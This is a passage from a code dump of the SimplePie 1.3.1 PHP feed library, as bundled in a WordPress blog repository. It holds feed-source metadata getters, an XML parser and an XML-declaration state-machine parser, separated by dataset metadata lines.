(isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', array($term, $scheme, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($categories)) { return array_unique($categories); } else { return null; } } public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } else { return null; } } public function get_authors() { $authors = array(); foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', array($name, $uri, $email)); } } if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', array($name, $url, $email)); } } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($authors)) { return array_unique($authors); } else { return null; } } public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } else { return null; } } public function get_contributors() { $contributors = array(); foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', array($name, $uri, $email)); } } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', array($name, $url, $email)); } } if (!empty($contributors)) { return array_unique($contributors); } else { return null; } } public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if (isset($links[$key])) { return $links[$key]; } else { return null; } } /** * Added for parity between the parent-level and the item/entry-level. */ public function get_permalink() { return $this->get_link(0); } public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = array(); if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key))) { if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } else { return null; } } public function get_description() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } else { return null; } } public function get_copyright() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } public function get_language() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['xml_lang'])) { return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } public function get_latitude() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } else { return null; } } public function get_longitude() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } else { return null; } } public function get_image_url() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image')) { return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } else { return null; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Source.php
PHP
asf20
20,539
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Parses XML into something sane * * * This class can be overloaded with {@see SimplePie::set_parser_class()} * * @package SimplePie * @subpackage Parsing */ class SimplePie_Parser { var $error_code; var $error_string; var $current_line; var $current_column; var $current_byte; var $separator = ' '; var $namespace = array(''); var $element = array(''); var $xml_base = array(''); var $xml_base_explicit = array(false); var $xml_lang = array(''); var $data = array(); var $datas = array(array()); var $current_xhtml_construct = -1; var $encoding; protected $registry; public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function parse(&$data, $encoding) { // Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character if (strtoupper($encoding) === 'US-ASCII') { $this->encoding = 'UTF-8'; } else { $this->encoding = $encoding; } // Strip BOM: // UTF-32 Big Endian BOM if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") { $data = substr($data, 4); } // UTF-32 Little Endian BOM elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") { $data = substr($data, 4); } // UTF-16 Big Endian BOM elseif (substr($data, 0, 2) === "\xFE\xFF") { $data = substr($data, 2); } // UTF-16 Little Endian BOM elseif (substr($data, 0, 2) === "\xFF\xFE") { $data = substr($data, 2); } // UTF-8 BOM elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") { $data = substr($data, 3); } if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false) { $declaration = $this->registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5))); if ($declaration->parse()) { $data = substr($data, $pos + 2); $data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . $data; } else { $this->error_string = 'SimplePie bug! Please report this!'; return false; } } $return = true; static $xml_is_sane = null; if ($xml_is_sane === null) { $parser_check = xml_parser_create(); xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values); xml_parser_free($parser_check); $xml_is_sane = isset($values[0]['value']); } // Create the parser if ($xml_is_sane) { $xml = xml_parser_create_ns($this->encoding, $this->separator); xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1); xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0); xml_set_object($xml, $this); xml_set_character_data_handler($xml, 'cdata'); xml_set_element_handler($xml, 'tag_open', 'tag_close'); // Parse! if (!xml_parse($xml, $data, true)) { $this->error_code = xml_get_error_code($xml); $this->error_string = xml_error_string($this->error_code); $return = false; } $this->current_line = xml_get_current_line_number($xml); $this->current_column = xml_get_current_column_number($xml); $this->current_byte = xml_get_current_byte_index($xml); xml_parser_free($xml); return $return; } else { libxml_clear_errors(); $xml = new XMLReader(); $xml->xml($data); while (@$xml->read()) { switch ($xml->nodeType) { case constant('XMLReader::END_ELEMENT'): if ($xml->namespaceURI !== '') { $tagName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $tagName = $xml->localName; } $this->tag_close(null, $tagName); break; case constant('XMLReader::ELEMENT'): $empty = $xml->isEmptyElement; if ($xml->namespaceURI !== '') { $tagName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $tagName = $xml->localName; } $attributes = array(); while ($xml->moveToNextAttribute()) { if ($xml->namespaceURI !== '') { $attrName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $attrName = $xml->localName; } $attributes[$attrName] = $xml->value; } $this->tag_open(null, $tagName, $attributes); if ($empty) { $this->tag_close(null, $tagName); } break; case constant('XMLReader::TEXT'): case constant('XMLReader::CDATA'): $this->cdata(null, $xml->value); break; } } if ($error = libxml_get_last_error()) { $this->error_code = $error->code; $this->error_string = $error->message; $this->current_line = $error->line; $this->current_column = $error->column; return false; } else { return true; } } } public function get_error_code() { return $this->error_code; } public function get_error_string() { return $this->error_string; } public function get_current_line() { return $this->current_line; } public function get_current_column() { return $this->current_column; } public function get_current_byte() { return $this->current_byte; } public function get_data() { return $this->data; } public function tag_open($parser, $tag, $attributes) { list($this->namespace[], $this->element[]) = $this->split_ns($tag); $attribs = array(); foreach ($attributes as $name => $value) { list($attrib_namespace, $attribute) = $this->split_ns($name); $attribs[$attrib_namespace][$attribute] = $value; } if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base'])) { $base = $this->registry->call('Misc', 'absolutize_url', array($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base))); if ($base !== false) { $this->xml_base[] = $base; $this->xml_base_explicit[] = true; } } else { $this->xml_base[] = end($this->xml_base); $this->xml_base_explicit[] = end($this->xml_base_explicit); } if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang'])) { $this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang']; } else { $this->xml_lang[] = end($this->xml_lang); } if ($this->current_xhtml_construct >= 0) { $this->current_xhtml_construct++; if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML) { $this->data['data'] .= '<' . end($this->element); if (isset($attribs[''])) { foreach ($attribs[''] as $name => $value) { $this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"'; } } $this->data['data'] .= '>'; } } else { $this->datas[] =& $this->data; $this->data =& $this->data['child'][end($this->namespace)][end($this->element)][]; $this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)); if ((end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml') || (end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml') || (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_20 && in_array(end($this->element), array('title'))) || (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_090 && in_array(end($this->element), array('title'))) || (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_10 && in_array(end($this->element), array('title')))) { $this->current_xhtml_construct = 0; } } } public function cdata($parser, $cdata) { if ($this->current_xhtml_construct >= 0) { $this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding); } else { $this->data['data'] .= $cdata; } } public function tag_close($parser, $tag) { if ($this->current_xhtml_construct >= 0) { $this->current_xhtml_construct--; if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'))) { $this->data['data'] .= '</' . end($this->element) . '>'; } } if ($this->current_xhtml_construct === -1) { $this->data =& $this->datas[count($this->datas) - 1]; array_pop($this->datas); } array_pop($this->element); array_pop($this->namespace); array_pop($this->xml_base); array_pop($this->xml_base_explicit); array_pop($this->xml_lang); } public function split_ns($string) { static $cache = array(); if (!isset($cache[$string])) { if ($pos = strpos($string, $this->separator)) { static $separator_length; if (!$separator_length) { $separator_length = strlen($this->separator); } $namespace = substr($string, 0, $pos); $local_name = substr($string, $pos + $separator_length); if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES) { $namespace = SIMPLEPIE_NAMESPACE_ITUNES; } // Normalize the Media RSS namespaces if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2 || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3 || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4 || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5 ) { $namespace = SIMPLEPIE_NAMESPACE_MEDIARSS; } $cache[$string] = array($namespace, $local_name); } else { $cache[$string] = array('', $string); } } return $cache[$string]; } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Parser.php
PHP
asf20
11,851
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Parses the XML Declaration * * @package SimplePie * @subpackage Parsing */ class SimplePie_XML_Declaration_Parser { /** * XML Version * * @access public * @var string */ var $version = '1.0'; /** * Encoding * * @access public * @var string */ var $encoding = 'UTF-8'; /** * Standalone * * @access public * @var bool */ var $standalone = false; /** * Current state of the state machine * * @access private * @var string */ var $state = 'before_version_name'; /** * Input data * * @access private * @var string */ var $data = ''; /** * Input data length (to avoid calling strlen() everytime this is needed) * * @access private * @var int */ var $data_length = 0; /** * Current position of the pointer * * @var int * @access private */ var $position = 0; /** * Create an instance of the class with the input data * * @access public * @param string $data Input data */ public function __construct($data) { $this->data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @access public * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== 'emit' && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === 'emit') { return true; } else { $this->version = ''; $this->encoding = ''; $this->standalone = ''; return false; } } /** * Check whether there is data beyond the pointer * * @access private * @return bool true if there is further data, false if not */ public function has_data() { return (bool) ($this->position < $this->data_length); } /** * Advance past any whitespace * * @return int Number of whitespace characters passed */ public function skip_whitespace() { $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position); $this->position += $whitespace; return $whitespace; } /** * Read value */ public function get_value() { $quote = substr($this->data, $this->position, 1); if ($quote === '"' || $quote === "'") { $this->position++; $len = strcspn($this->data, $quote, $this->position); if ($this->has_data()) { $value = substr($this->data, $this->position, $len); $this->position += $len + 1; return $value; } } return false; } public function before_version_name() { if ($this->skip_whitespace()) { $this->state = 'version_name'; } else { $this->state = false; } } public function version_name() { if (substr($this->data, $this->position, 7) === 'version') { $this->position += 7; $this->skip_whitespace(); $this->state = 'version_equals'; } else { $this->state = false; } } public function version_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = 'version_value'; } else { $this->state = false; } } public function version_value() { if ($this->version = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = 'encoding_name'; } else { $this->state = 'emit'; } } else { $this->state = false; } } public function encoding_name() { if (substr($this->data, $this->position, 8) === 'encoding') { $this->position += 8; $this->skip_whitespace(); $this->state = 'encoding_equals'; } else { $this->state = 'standalone_name'; } } public function encoding_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = 'encoding_value'; } else { $this->state = false; } } public function encoding_value() { if ($this->encoding = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = 'standalone_name'; } else { $this->state = 'emit'; } } else { $this->state = false; } } public function standalone_name() { if (substr($this->data, $this->position, 10) === 'standalone') { $this->position += 10; $this->skip_whitespace(); $this->state = 'standalone_equals'; } else { $this->state = false; } } public function standalone_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = 'standalone_value'; } else { $this->state = false; } } public function standalone_value() { if ($standalone = $this->get_value()) { switch ($standalone) { case 'yes': $this->standalone = true; break; case 'no': $this->standalone = false; break; default: $this->state = false; return; } $this->skip_whitespace(); if ($this->has_data()) { $this->state = false; } else { $this->state = 'emit'; } } else { $this->state = false; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/XML/Declaration/Parser.php
PHP
asf20
7,149
